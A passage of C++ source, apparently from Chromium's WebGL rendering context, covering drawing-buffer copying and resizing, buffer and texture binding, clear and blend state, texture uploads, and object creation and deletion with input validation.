GetDrawingBuffer()->ResolveAndBindForReadAndDraw();\n  if (!CopyRenderingResultsFromDrawingBuffer(Host()->ResourceProvider(),\n                                             source_buffer)) {\n    // Currently, CopyRenderingResultsFromDrawingBuffer is expected to always\n    // succeed because cases where canvas()-buffer() is not accelerated are\n    // handled before reaching this point.  If that assumption ever stops\n    // holding true, we may need to implement a fallback right here.\n    NOTREACHED();\n    return false;\n  }\n  return true;\n}\n\nbool WebGLRenderingContextBase::ContextCreatedOnXRCompatibleAdapter() {\n  // TODO(http://crbug.com/876140) Determine if device is compatible with\n  // current context.\n  return true;\n}\n\nbool WebGLRenderingContextBase::CopyRenderingResultsFromDrawingBuffer(\n    CanvasResourceProvider* resource_provider,\n    SourceDrawingBuffer source_buffer) {\n  DCHECK(drawing_buffer_);\n  DCHECK(resource_provider);\n  DCHECK(!resource_provider->IsSingleBuffered());\n  if (resource_provider->IsAccelerated()) {\n    base::WeakPtr<WebGraphicsContext3DProviderWrapper> shared_context_wrapper =\n        SharedGpuContext::ContextProviderWrapper();\n    if (!shared_context_wrapper || !shared_context_wrapper->ContextProvider())\n      return false;\n    gpu::raster::RasterInterface* raster_interface =\n        shared_context_wrapper->ContextProvider()->RasterInterface();\n    const gpu::Mailbox& mailbox =\n        resource_provider->GetBackingMailboxForOverwrite(\n            MailboxSyncMode::kOrderingBarrier);\n    GLenum texture_target = resource_provider->GetBackingTextureTarget();\n    if (mailbox.IsZero())\n      return false;\n\n    // TODO(xlai): Flush should not be necessary if the synchronization in\n    // CopyToPlatformTexture is done correctly. See crbug.com/794706.\n    raster_interface->Flush();\n\n    bool flip_y = IsOriginTopLeft() != resource_provider->IsOriginTopLeft();\n    return drawing_buffer_->CopyToPlatformMailbox(\n        raster_interface, mailbox, texture_target, flip_y, IntPoint(0, 0),\n        IntRect(IntPoint(0, 0), drawing_buffer_->Size()), source_buffer);\n  }\n\n  // Note: This code path could work for all cases. The only reason there\n  // is a separate path for the accelerated case is that we assume texture\n  // copying is faster than drawImage.\n  scoped_refptr<StaticBitmapImage> image = GetImage(kPreferAcceleration);\n  if (!image || !image->PaintImageForCurrentFrame())\n    return false;\n  cc::PaintFlags paint_flags;\n  paint_flags.setBlendMode(SkBlendMode::kSrc);\n  resource_provider->Canvas()->drawImage(image->PaintImageForCurrentFrame(), 0,\n                                         0, &paint_flags);\n  return true;\n}\n\nIntSize WebGLRenderingContextBase::DrawingBufferSize() const {\n  if (isContextLost())\n    return IntSize(0, 0);\n  return GetDrawingBuffer()->Size();\n}\n\nsk_sp<SkData> WebGLRenderingContextBase::PaintRenderingResultsToDataArray(\n    SourceDrawingBuffer source_buffer) {\n  if (isContextLost())\n    return nullptr;\n  ClearIfComposited();\n  GetDrawingBuffer()->ResolveAndBindForReadAndDraw();\n  ScopedFramebufferRestorer restorer(this);\n  return GetDrawingBuffer()->PaintRenderingResultsToDataArray(source_buffer);\n}\n\nvoid WebGLRenderingContextBase::Reshape(int width, int height) {\n  if (isContextLost())\n    return;\n\n  GLint buffer = 0;\n  if (IsWebGL2OrHigher()) {\n    // This query returns client side cached binding, so it's trivial.\n    // If it changes in the future, such query is heavy and should be avoided.\n    ContextGL()->GetIntegerv(GL_PIXEL_UNPACK_BUFFER_BINDING, &buffer);\n    if (buffer) {\n      ContextGL()->BindBuffer(GL_PIXEL_UNPACK_BUFFER, 0);\n    }\n  }\n\n  // This is an approximation because at WebGLRenderingContextBase level we\n  // don't know if the underlying FBO uses textures or renderbuffers.\n  GLint max_size = std::min(max_texture_size_, max_renderbuffer_size_);\n  GLint max_width = std::min(max_size, max_viewport_dims_[0]);\n  GLint max_height = std::min(max_size, max_viewport_dims_[1]);\n  width = Clamp(width, 1, max_width);\n  height = Clamp(height, 1, max_height);\n\n  // Limit drawing buffer area to the resolution of an 8K monitor to avoid\n  // memory exhaustion.  Width or height may be larger than that size as long as\n  // it's within the max viewport dimensions and total area remains within the\n  // limit. For example: 7680x4320 should be fine.\n  const int kMaxArea = 5760 * 5760;\n  int current_area = width * height;\n  if (current_area > kMaxArea) {\n    // If we've exceeded the area limit scale the buffer down, preserving\n    // ascpect ratio, until it fits.\n    float scale_factor =\n        sqrtf(static_cast<float>(kMaxArea) / static_cast<float>(current_area));\n    width = std::max(1, static_cast<int>(width * scale_factor));\n    height = std::max(1, static_cast<int>(height * scale_factor));\n  }\n\n  // We don't have to mark the canvas as dirty, since the newly created image\n  // buffer will also start off clear (and this matches what reshape will do).\n  GetDrawingBuffer()->Resize(IntSize(width, height));\n\n  if (buffer) {\n    ContextGL()->BindBuffer(GL_PIXEL_UNPACK_BUFFER,\n                            static_cast<GLuint>(buffer));\n  }\n}\n\nint WebGLRenderingContextBase::drawingBufferWidth() const {\n  return isContextLost() ? 0 : GetDrawingBuffer()->Size().Width();\n}\n\nint WebGLRenderingContextBase::drawingBufferHeight() const {\n  return isContextLost() ? 0 : GetDrawingBuffer()->Size().Height();\n}\n\nvoid WebGLRenderingContextBase::activeTexture(GLenum texture) {\n  if (isContextLost())\n    return;\n  if (texture - GL_TEXTURE0 >= texture_units_.size()) {\n    SynthesizeGLError(GL_INVALID_ENUM, \"activeTexture\",\n                      \"texture unit out of range\");\n    return;\n  }\n  active_texture_unit_ = texture - GL_TEXTURE0;\n  ContextGL()->ActiveTexture(texture);\n}\n\nvoid WebGLRenderingContextBase::attachShader(WebGLProgram* program,\n                                             WebGLShader* shader) {\n  if (!ValidateWebGLProgramOrShader(\"attachShader\", program) ||\n      !ValidateWebGLProgramOrShader(\"attachShader\", shader))\n    return;\n  if (!program->AttachShader(shader)) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"attachShader\",\n                      \"shader attachment already has shader\");\n    return;\n  }\n  ContextGL()->AttachShader(ObjectOrZero(program), ObjectOrZero(shader));\n  shader->OnAttached();\n}\n\nvoid WebGLRenderingContextBase::bindAttribLocation(WebGLProgram* program,\n                                                   GLuint index,\n                                                   const String& name) {\n  if (!ValidateWebGLObject(\"bindAttribLocation\", program))\n    return;\n  if (!ValidateLocationLength(\"bindAttribLocation\", name))\n    return;\n  if (IsPrefixReserved(name)) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"bindAttribLocation\",\n                      \"reserved prefix\");\n    return;\n  }\n  ContextGL()->BindAttribLocation(ObjectOrZero(program), index,\n                                  name.Utf8().c_str());\n}\n\nbool WebGLRenderingContextBase::ValidateAndUpdateBufferBindTarget(\n    const char* function_name,\n    GLenum target,\n    WebGLBuffer* buffer) {\n  if (!ValidateBufferTarget(function_name, target))\n    return false;\n\n  if (buffer && buffer->GetInitialTarget() &&\n      buffer->GetInitialTarget() != target) {\n    SynthesizeGLError(GL_INVALID_OPERATION, function_name,\n                      \"buffers can not be used with multiple targets\");\n    return false;\n  }\n\n  switch (target) {\n    case GL_ARRAY_BUFFER:\n      bound_array_buffer_ = buffer;\n      break;\n    case GL_ELEMENT_ARRAY_BUFFER:\n      bound_vertex_array_object_->SetElementArrayBuffer(buffer);\n      break;\n    default:\n      NOTREACHED();\n      return false;\n  }\n\n  if (buffer && !buffer->GetInitialTarget())\n    buffer->SetInitialTarget(target);\n  return true;\n}\n\nvoid WebGLRenderingContextBase::bindBuffer(GLenum target, WebGLBuffer* buffer) {\n  if (!ValidateNullableWebGLObject(\"bindBuffer\", buffer))\n    return;\n  if (!ValidateAndUpdateBufferBindTarget(\"bindBuffer\", target, buffer))\n    return;\n  ContextGL()->BindBuffer(target, ObjectOrZero(buffer));\n}\n\nvoid WebGLRenderingContextBase::bindFramebuffer(GLenum target,\n                                                WebGLFramebuffer* buffer) {\n  if (!ValidateNullableWebGLObject(\"bindFramebuffer\", buffer))\n    return;\n\n  if (target != GL_FRAMEBUFFER) {\n    SynthesizeGLError(GL_INVALID_ENUM, \"bindFramebuffer\", \"invalid target\");\n    return;\n  }\n\n  SetFramebuffer(target, buffer);\n}\n\nvoid WebGLRenderingContextBase::bindRenderbuffer(\n    GLenum target,\n    WebGLRenderbuffer* render_buffer) {\n  if (!ValidateNullableWebGLObject(\"bindRenderbuffer\", render_buffer))\n    return;\n  if (target != GL_RENDERBUFFER) {\n    SynthesizeGLError(GL_INVALID_ENUM, \"bindRenderbuffer\", \"invalid target\");\n    return;\n  }\n  renderbuffer_binding_ = render_buffer;\n  ContextGL()->BindRenderbuffer(target, ObjectOrZero(render_buffer));\n  if (render_buffer)\n    render_buffer->SetHasEverBeenBound();\n}\n\nvoid WebGLRenderingContextBase::bindTexture(GLenum target,\n                                            WebGLTexture* texture) {\n  if (!ValidateNullableWebGLObject(\"bindTexture\", texture))\n    return;\n  if (texture && texture->GetTarget() && texture->GetTarget() != target) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"bindTexture\",\n                      \"textures can not be used with multiple targets\");\n    return;\n  }\n\n  if (target == GL_TEXTURE_2D) {\n    texture_units_[active_texture_unit_].texture2d_binding_ = texture;\n  } else if (target == GL_TEXTURE_CUBE_MAP) {\n    texture_units_[active_texture_unit_].texture_cube_map_binding_ = texture;\n  } else if (IsWebGL2OrHigher() && target == GL_TEXTURE_2D_ARRAY) {\n    texture_units_[active_texture_unit_].texture2d_array_binding_ = texture;\n  } else if (IsWebGL2OrHigher() && target == GL_TEXTURE_3D) {\n    texture_units_[active_texture_unit_].texture3d_binding_ = texture;\n  } else if (target == GL_TEXTURE_VIDEO_IMAGE_WEBGL) {\n    if (!ExtensionEnabled(kWebGLVideoTextureName)) {\n      SynthesizeGLError(\n          GL_INVALID_VALUE, \"bindTexture\",\n          \"unhandled type, WEBGL_video_texture extension not enabled\");\n      return;\n    }\n    texture_units_[active_texture_unit_].texture_video_image_binding_ = texture;\n  } else {\n    SynthesizeGLError(GL_INVALID_ENUM, \"bindTexture\", \"invalid target\");\n    return;\n  }\n\n  // We use TEXTURE_EXTERNAL_OES to implement video texture on Android platform\n  if (target == GL_TEXTURE_VIDEO_IMAGE_WEBGL) {\n#if defined(OS_ANDROID)\n    // TODO(crbug.com/776222): Support extension on Android\n    NOTIMPLEMENTED();\n    return;\n#else\n    // TODO(crbug.com/776222): Using GL_TEXTURE_VIDEO_IMAGE_WEBGL in blink\n    ContextGL()->BindTexture(GL_TEXTURE_2D, ObjectOrZero(texture));\n    if (texture && !texture->GetTarget()) {\n      ContextGL()->TexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER,\n                                 GL_LINEAR);\n      ContextGL()->TexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER,\n                                 GL_LINEAR);\n      ContextGL()->TexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S,\n                                 GL_CLAMP_TO_EDGE);\n      ContextGL()->TexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T,\n                                 GL_CLAMP_TO_EDGE);\n    }\n#endif  // defined OS_ANDROID\n  } else {\n    ContextGL()->BindTexture(target, ObjectOrZero(texture));\n  }\n  if (texture) {\n    texture->SetTarget(target);\n    one_plus_max_non_default_texture_unit_ =\n        max(active_texture_unit_ + 1, one_plus_max_non_default_texture_unit_);\n  } else {\n    // If the disabled index is the current maximum, trace backwards to find the\n    // new max enabled texture index\n    if (one_plus_max_non_default_texture_unit_ == active_texture_unit_ + 1) {\n      FindNewMaxNonDefaultTextureUnit();\n    }\n  }\n\n  // Note: previously we used to automatically set the TEXTURE_WRAP_R\n  // repeat mode to CLAMP_TO_EDGE for cube map textures, because OpenGL\n  // ES 2.0 doesn't expose this flag (a bug in the specification) and\n  // otherwise the application has no control over the seams in this\n  // dimension. However, it appears that supporting this properly on all\n  // platforms is fairly involved (will require a HashMap from texture ID\n  // in all ports), and we have not had any complaints, so the logic has\n  // been removed.\n}\n\nvoid WebGLRenderingContextBase::blendColor(GLfloat red,\n                                           GLfloat green,\n                                           GLfloat blue,\n                                           GLfloat alpha) {\n  if (isContextLost())\n    return;\n  ContextGL()->BlendColor(red, green, blue, alpha);\n}\n\nvoid WebGLRenderingContextBase::blendEquation(GLenum mode) {\n  if (isContextLost() || !ValidateBlendEquation(\"blendEquation\", mode))\n    return;\n  ContextGL()->BlendEquation(mode);\n}\n\nvoid WebGLRenderingContextBase::blendEquationSeparate(GLenum mode_rgb,\n                                                      GLenum mode_alpha) {\n  if (isContextLost() ||\n      !ValidateBlendEquation(\"blendEquationSeparate\", mode_rgb) ||\n      !ValidateBlendEquation(\"blendEquationSeparate\", mode_alpha))\n    return;\n  ContextGL()->BlendEquationSeparate(mode_rgb, mode_alpha);\n}\n\nvoid WebGLRenderingContextBase::blendFunc(GLenum sfactor, GLenum dfactor) {\n  if (isContextLost() ||\n      !ValidateBlendFuncFactors(\"blendFunc\", sfactor, dfactor))\n    return;\n  ContextGL()->BlendFunc(sfactor, dfactor);\n}\n\nvoid WebGLRenderingContextBase::blendFuncSeparate(GLenum src_rgb,\n                                                  GLenum dst_rgb,\n                                                  GLenum src_alpha,\n                                                  GLenum dst_alpha) {\n  // Note: Alpha does not have the same restrictions as RGB.\n  if (isContextLost() ||\n      !ValidateBlendFuncFactors(\"blendFuncSeparate\", src_rgb, dst_rgb))\n    return;\n  ContextGL()->BlendFuncSeparate(src_rgb, dst_rgb, src_alpha, dst_alpha);\n}\n\nvoid WebGLRenderingContextBase::BufferDataImpl(GLenum target,\n                                               int64_t size,\n                                               const void* data,\n                                               GLenum usage) {\n  WebGLBuffer* buffer = ValidateBufferDataTarget(\"bufferData\", target);\n  if (!buffer)\n    return;\n\n  if (!ValidateBufferDataUsage(\"bufferData\", usage))\n    return;\n\n  if (!ValidateValueFitNonNegInt32(\"bufferData\", \"size\", size))\n    return;\n\n  buffer->SetSize(size);\n\n  ContextGL()->BufferData(target, static_cast<GLsizeiptr>(size), data, usage);\n}\n\nvoid WebGLRenderingContextBase::bufferData(GLenum target,\n                                           int64_t size,\n                                           GLenum usage) {\n  if (isContextLost())\n    return;\n  BufferDataImpl(target, size, nullptr, usage);\n}\n\nvoid WebGLRenderingContextBase::bufferData(GLenum target,\n                                           DOMArrayBuffer* data,\n                                           GLenum usage) {\n  if (isContextLost())\n    return;\n  if (!data) {\n    SynthesizeGLError(GL_INVALID_VALUE, \"bufferData\", \"no data\");\n    return;\n  }\n  BufferDataImpl(target, data->ByteLengthAsSizeT(), data->Data(), usage);\n}\n\nvoid WebGLRenderingContextBase::bufferData(GLenum target,\n                                           MaybeShared<DOMArrayBufferView> data,\n                                           GLenum usage) {\n  if (isContextLost())\n    return;\n  DCHECK(data);\n  BufferDataImpl(target, data.View()->byteLengthAsSizeT(),\n                 data.View()->BaseAddressMaybeShared(), usage);\n}\n\nvoid WebGLRenderingContextBase::BufferSubDataImpl(GLenum target,\n                                                  int64_t offset,\n                                                  GLsizeiptr size,\n                                                  const void* data) {\n  WebGLBuffer* buffer = ValidateBufferDataTarget(\"bufferSubData\", target);\n  if (!buffer)\n    return;\n  if (!ValidateValueFitNonNegInt32(\"bufferSubData\", \"offset\", offset))\n    return;\n  if (!data)\n    return;\n  if (offset + static_cast<int64_t>(size) > buffer->GetSize()) {\n    SynthesizeGLError(GL_INVALID_VALUE, \"bufferSubData\", \"buffer overflow\");\n    return;\n  }\n\n  ContextGL()->BufferSubData(target, static_cast<GLintptr>(offset), size, data);\n}\n\nvoid WebGLRenderingContextBase::bufferSubData(GLenum target,\n                                              int64_t offset,\n                                              DOMArrayBuffer* data) {\n  if (isContextLost())\n    return;\n  DCHECK(data);\n  BufferSubDataImpl(target, offset, data->ByteLengthAsSizeT(), data->Data());\n}\n\nvoid WebGLRenderingContextBase::bufferSubData(\n    GLenum target,\n    int64_t offset,\n    const FlexibleArrayBufferView& data) {\n  if (isContextLost())\n    return;\n  DCHECK(data);\n  BufferSubDataImpl(target, offset, data.ByteLengthAsSizeT(),\n                    data.BaseAddressMaybeOnStack());\n}\n\nbool WebGLRenderingContextBase::ValidateFramebufferTarget(GLenum target) {\n  if (target == GL_FRAMEBUFFER)\n    return true;\n  return false;\n}\n\nWebGLFramebuffer* WebGLRenderingContextBase::GetFramebufferBinding(\n    GLenum target) {\n  if (target == GL_FRAMEBUFFER)\n    return framebuffer_binding_.Get();\n  return nullptr;\n}\n\nWebGLFramebuffer* WebGLRenderingContextBase::GetReadFramebufferBinding() {\n  return framebuffer_binding_.Get();\n}\n\nGLenum WebGLRenderingContextBase::checkFramebufferStatus(GLenum target) {\n  if (isContextLost())\n    return GL_FRAMEBUFFER_UNSUPPORTED;\n  if (!ValidateFramebufferTarget(target)) {\n    SynthesizeGLError(GL_INVALID_ENUM, \"checkFramebufferStatus\",\n                      \"invalid target\");\n    return 0;\n  }\n  WebGLFramebuffer* framebuffer_binding = GetFramebufferBinding(target);\n  if (framebuffer_binding) {\n    const char* reason = \"framebuffer incomplete\";\n    GLenum status = framebuffer_binding->CheckDepthStencilStatus(&reason);\n    if (status != GL_FRAMEBUFFER_COMPLETE) {\n      EmitGLWarning(\"checkFramebufferStatus\", reason);\n      return status;\n    }\n  }\n  return ContextGL()->CheckFramebufferStatus(target);\n}\n\nvoid WebGLRenderingContextBase::clear(GLbitfield mask) {\n  if (isContextLost())\n    return;\n  if (mask &\n      ~(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT | GL_STENCIL_BUFFER_BIT)) {\n    SynthesizeGLError(GL_INVALID_VALUE, \"clear\", \"invalid mask\");\n    return;\n  }\n  const char* reason = \"framebuffer incomplete\";\n  if (framebuffer_binding_ && framebuffer_binding_->CheckDepthStencilStatus(\n                                  &reason) != GL_FRAMEBUFFER_COMPLETE) {\n    SynthesizeGLError(GL_INVALID_FRAMEBUFFER_OPERATION, \"clear\", reason);\n    return;\n  }\n\n  if (!mask) {\n    // Use OnErrorMessage because it's both rate-limited and obeys the\n    // webGLErrorsToConsole setting.\n    OnErrorMessage(\n        \"Performance warning: clear() called with no buffers in bitmask\", 0);\n    // Don't skip the call to ClearIfComposited below; it has side\n    // effects even without the user requesting to clear any buffers.\n  }\n\n  ScopedRGBEmulationColorMask emulation_color_mask(this, color_mask_,\n                                                   drawing_buffer_.get());\n\n  if (ClearIfComposited(mask) != kCombinedClear) {\n    // If clearing the default back buffer's depth buffer, also clear the\n    // stencil buffer, if one was allocated implicitly. This avoids performance\n    // problems on some GPUs.\n    if (!framebuffer_binding_ &&\n        GetDrawingBuffer()->HasImplicitStencilBuffer() &&\n        (mask & GL_DEPTH_BUFFER_BIT)) {\n      // It shouldn't matter what value it's cleared to, since in other queries\n      // in the API, we claim that the stencil buffer doesn't exist.\n      mask |= GL_STENCIL_BUFFER_BIT;\n    }\n    ContextGL()->Clear(mask);\n  }\n  MarkContextChanged(kCanvasChanged);\n}\n\nvoid WebGLRenderingContextBase::clearColor(GLfloat r,\n                                           GLfloat g,\n                                           GLfloat b,\n                                           GLfloat a) {\n  if (isContextLost())\n    return;\n  if (std::isnan(r))\n    r = 0;\n  if (std::isnan(g))\n    g = 0;\n  if (std::isnan(b))\n    b = 0;\n  if (std::isnan(a))\n    a = 1;\n  clear_color_[0] = r;\n  clear_color_[1] = g;\n  clear_color_[2] = b;\n  clear_color_[3] = a;\n  ContextGL()->ClearColor(r, g, b, a);\n}\n\nvoid WebGLRenderingContextBase::clearDepth(GLfloat depth) {\n  if (isContextLost())\n    return;\n  clear_depth_ = depth;\n  ContextGL()->ClearDepthf(depth);\n}\n\nvoid WebGLRenderingContextBase::clearStencil(GLint s) {\n  if (isContextLost())\n    return;\n  clear_stencil_ = s;\n  ContextGL()->ClearStencil(s);\n}\n\nvoid WebGLRenderingContextBase::colorMask(GLboolean red,\n                                          GLboolean green,\n                                          GLboolean blue,\n                                          GLboolean alpha) {\n  if (isContextLost())\n    return;\n  color_mask_[0] = red;\n  color_mask_[1] = green;\n  color_mask_[2] = blue;\n  color_mask_[3] = alpha;\n  ContextGL()->ColorMask(red, green, blue, alpha);\n}\n\nvoid WebGLRenderingContextBase::compileShader(WebGLShader* shader) {\n  if (!ValidateWebGLProgramOrShader(\"compileShader\", shader))\n    return;\n  ContextGL()->CompileShader(ObjectOrZero(shader));\n}\n\nvoid WebGLRenderingContextBase::compressedTexImage2D(\n    GLenum target,\n    GLint level,\n    GLenum internalformat,\n    GLsizei width,\n    GLsizei height,\n    GLint border,\n    MaybeShared<DOMArrayBufferView> data) {\n  if (isContextLost())\n    return;\n  if (!ValidateTexture2DBinding(\"compressedTexImage2D\", target))\n    return;\n  if (!ValidateCompressedTexFormat(\"compressedTexImage2D\", internalformat))\n    return;\n  GLsizei data_length;\n  if (!ExtractDataLengthIfValid(\"compressedTexImage2D\", data, &data_length))\n    return;\n  ContextGL()->CompressedTexImage2D(target, level, internalformat, width,\n                                    height, border, data_length,\n                                    data.View()->BaseAddressMaybeShared());\n}\n\nvoid WebGLRenderingContextBase::compressedTexSubImage2D(\n    GLenum target,\n    GLint level,\n    GLint xoffset,\n    GLint yoffset,\n    GLsizei width,\n    GLsizei height,\n    GLenum format,\n    MaybeShared<DOMArrayBufferView> data) {\n  if (isContextLost())\n    return;\n  if (!ValidateTexture2DBinding(\"compressedTexSubImage2D\", target))\n    return;\n  if (!ValidateCompressedTexFormat(\"compressedTexSubImage2D\", format))\n    return;\n  GLsizei data_length;\n  if (!ExtractDataLengthIfValid(\"compressedTexSubImage2D\", data, &data_length))\n    return;\n  ContextGL()->CompressedTexSubImage2D(target, level, xoffset, yoffset, width,\n                                       height, format, data_length,\n                                       data.View()->BaseAddressMaybeShared());\n}\n\nbool WebGLRenderingContextBase::ValidateSettableTexFormat(\n    const char* function_name,\n    GLenum format) {\n  if (IsWebGL2OrHigher())\n    return true;\n\n  if (WebGLImageConversion::GetChannelBitsByFormat(format) &\n      WebGLImageConversion::kChannelDepthStencil) {\n    SynthesizeGLError(GL_INVALID_OPERATION, function_name,\n                      \"format can not be set, only rendered to\");\n    return false;\n  }\n  return true;\n}\n\nbool WebGLRenderingContextBase::ValidateCopyTexFormat(const char* function_name,\n                                                      GLenum internalformat) {\n  if (!is_web_gl2_internal_formats_copy_tex_image_added_ &&\n      IsWebGL2OrHigher()) {\n    ADD_VALUES_TO_SET(supported_internal_formats_copy_tex_image_,\n                      kSupportedInternalFormatsES3);\n    is_web_gl2_internal_formats_copy_tex_image_added_ = true;\n  }\n  if (!is_ext_color_buffer_float_formats_added_ &&\n      ExtensionEnabled(kEXTColorBufferFloatName)) {\n    ADD_VALUES_TO_SET(supported_internal_formats_copy_tex_image_,\n                      kSupportedInternalFormatsCopyTexImageFloatES3);\n    is_ext_color_buffer_float_formats_added_ = true;\n  }\n\n  if (supported_internal_formats_copy_tex_image_.find(internalformat) ==\n      supported_internal_formats_copy_tex_image_.end()) {\n    SynthesizeGLError(GL_INVALID_ENUM, function_name, \"invalid internalformat\");\n    return false;\n  }\n\n  return true;\n}\n\nvoid WebGLRenderingContextBase::copyTexImage2D(GLenum target,\n                                               GLint level,\n                                               GLenum internalformat,\n                                               GLint x,\n                                               GLint y,\n                                               GLsizei width,\n                                               GLsizei height,\n                                               GLint border) {\n  if (isContextLost())\n    return;\n  if (!ValidateTexture2DBinding(\"copyTexImage2D\", target))\n    return;\n  if (!ValidateCopyTexFormat(\"copyTexImage2D\", internalformat))\n    return;\n  if (!ValidateSettableTexFormat(\"copyTexImage2D\", internalformat))\n    return;\n  WebGLFramebuffer* read_framebuffer_binding = nullptr;\n  if (!ValidateReadBufferAndGetInfo(\"copyTexImage2D\", read_framebuffer_binding))\n    return;\n  ClearIfComposited();\n  ScopedDrawingBufferBinder binder(GetDrawingBuffer(),\n                                   read_framebuffer_binding);\n  ContextGL()->CopyTexImage2D(target, level, internalformat, x, y, width,\n                              height, border);\n}\n\nvoid WebGLRenderingContextBase::copyTexSubImage2D(GLenum target,\n                                                  GLint level,\n                                                  GLint xoffset,\n                                                  GLint yoffset,\n                                                  GLint x,\n                                                  GLint y,\n                                                  GLsizei width,\n                                                  GLsizei height) {\n  if (isContextLost())\n    return;\n  if (!ValidateTexture2DBinding(\"copyTexSubImage2D\", target))\n    return;\n  WebGLFramebuffer* read_framebuffer_binding = nullptr;\n  if (!ValidateReadBufferAndGetInfo(\"copyTexSubImage2D\",\n                                    read_framebuffer_binding))\n    return;\n  ClearIfComposited();\n  ScopedDrawingBufferBinder binder(GetDrawingBuffer(),\n                                   read_framebuffer_binding);\n  ContextGL()->CopyTexSubImage2D(target, level, xoffset, yoffset, x, y, width,\n                                 height);\n}\n\nWebGLBuffer* WebGLRenderingContextBase::createBuffer() {\n  if (isContextLost())\n    return nullptr;\n  return MakeGarbageCollected<WebGLBuffer>(this);\n}\n\nWebGLFramebuffer* WebGLRenderingContextBase::createFramebuffer() {\n  if (isContextLost())\n    return nullptr;\n  return MakeGarbageCollected<WebGLFramebuffer>(this);\n}\n\nWebGLTexture* WebGLRenderingContextBase::createTexture() {\n  if (isContextLost())\n    return nullptr;\n  return MakeGarbageCollected<WebGLTexture>(this);\n}\n\nWebGLProgram* WebGLRenderingContextBase::createProgram() {\n  if (isContextLost())\n    return nullptr;\n  return MakeGarbageCollected<WebGLProgram>(this);\n}\n\nWebGLRenderbuffer* WebGLRenderingContextBase::createRenderbuffer() {\n  if (isContextLost())\n    return nullptr;\n  return MakeGarbageCollected<WebGLRenderbuffer>(this);\n}\n\nvoid WebGLRenderingContextBase::SetBoundVertexArrayObject(\n    WebGLVertexArrayObjectBase* array_object) {\n  if (array_object)\n    bound_vertex_array_object_ = array_object;\n  else\n    bound_vertex_array_object_ = default_vertex_array_object_;\n}\n\nWebGLShader* WebGLRenderingContextBase::createShader(GLenum type) {\n  if (isContextLost())\n    return nullptr;\n  if (!ValidateShaderType(\"createShader\", type)) {\n    return nullptr;\n  }\n\n  return MakeGarbageCollected<WebGLShader>(this, type);\n}\n\nvoid WebGLRenderingContextBase::cullFace(GLenum mode) {\n  if (isContextLost())\n    return;\n  ContextGL()->CullFace(mode);\n}\n\nbool WebGLRenderingContextBase::DeleteObject(WebGLObject* object) {\n  if (isContextLost() || !object)\n    return false;\n  if (!object->Validate(ContextGroup(), this)) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"delete\",\n                      \"object does not belong to this context\");\n    return false;\n  }\n  if (object->MarkedForDeletion()) {\n    // This is specified to be a no-op, including skipping all unbinding from\n    // the context's attachment points that would otherwise happen.\n    return false;\n  }\n  if (object->HasObject()) {\n    // We need to pass in context here because we want\n    // things in this context unbound.\n    object->DeleteObject(ContextGL());\n  }\n  return true;\n}\n\nvoid WebGLRenderingContextBase::deleteBuffer(WebGLBuffer* buffer) {\n  if (!DeleteObject(buffer))\n    return;\n  RemoveBoundBuffer(buffer);\n}\n\nvoid WebGLRenderingContextBase::deleteFramebuffer(\n    WebGLFramebuffer* framebuffer) {\n  // Don't allow the application to delete an opaque framebuffer.\n  if (framebuffer && framebuffer->Opaque()) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"deleteFramebuffer\",\n                      \"cannot delete an opaque framebuffer\");\n    return;\n  }\n  if (!DeleteObject(framebuffer))\n    return;\n  if (framebuffer == framebuffer_binding_) {\n    framebuffer_binding_ = nullptr;\n    // Have to call drawingBuffer()->bind() here to bind back to internal fbo.\n    GetDrawingBuffer()->Bind(GL_FRAMEBUFFER);\n  }\n}\n\nvoid WebGLRenderingContextBase::deleteProgram(WebGLProgram* program) {\n  DeleteObject(program);\n  // We don't reset m_currentProgram to 0 here because the deletion of the\n  // current program is delayed.\n}\n\nvoid WebGLRenderingContextBase::deleteRenderbuffer(\n    WebGLRenderbuffer* renderbuffer) {\n  if (!DeleteObject(renderbuffer))\n    return;\n  if (renderbuffer == renderbuffer_binding_) {\n    renderbuffer_binding_ = nullptr;\n  }\n  if (framebuffer_binding_)\n    framebuffer_binding_->RemoveAttachmentFromBoundFramebuffer(GL_FRAMEBUFFER,\n                                                               renderbuffer);\n  if (GetFramebufferBinding(GL_READ_FRAMEBUFFER))\n    GetFramebufferBinding(GL_READ_FRAMEBUFFER)\n        ->RemoveAttachmentFromBoundFramebuffer(GL_READ_FRAMEBUFFER,\n                                               renderbuffer);\n}\n\nvoid WebGLRenderingContextBase::deleteShader(WebGLShader* shader) {\n  DeleteObject(shader);\n}\n\nvoid WebGLRenderingContextBase::deleteTexture(WebGLTexture* texture) {\n  if (!DeleteObject(texture))\n    return;\n\n  int max_bound_texture_index = -1;\n  for (wtf_size_t i = 0; i < one_plus_max_non_default_texture_unit_; ++i) {\n    if (texture == texture_units_[i].texture2d_binding_) {\n      texture_units_[i].texture2d_binding_ = nullptr;\n      max_bound_texture_index = i;\n    }\n    if (texture == texture_units_[i].texture_cube_map_binding_) {\n      texture_units_[i].texture_cube_map_binding_ = nullptr;\n      max_bound_texture_index = i;\n    }\n    if (IsWebGL2OrHigher()) {\n      if (texture == texture_units_[i].texture3d_binding_) {\n        texture_units_[i].texture3d_binding_ = nullptr;\n        max_bound_texture_index = i;\n      }\n      if (texture == texture_units_[i].texture2d_array_binding_) {\n        texture_units_[i].texture2d_array_binding_ = nullptr;\n        max_bound_texture_index = i;\n      }\n    }\n  }\n  if (framebuffer_binding_)\n    framebuffer_binding_->RemoveAttachmentFromBoundFramebuffer(GL_FRAMEBUFFER,\n                                                               texture);\n  if (GetFramebufferBinding(GL_READ_FRAMEBUFFER))\n    GetFramebufferBinding(GL_READ_FRAMEBUFFER)\n        ->RemoveAttachmentFromBoundFramebuffer(GL_READ_FRAMEBUFFER, texture);\n\n  // If the deleted was bound to the the current maximum index, trace backwards\n  // to find the new max texture index.\n  if (one_plus_max_non_default_texture_unit_ ==\n      static_cast<wtf_size_t>(max_bound_texture_index + 1)) {\n    FindNewMaxNonDefaultTextureUnit();\n  }\n}\n\nvoid WebGLRenderingContextBase::depthFunc(GLenum func) {\n  if (isContextLost())\n    return;\n  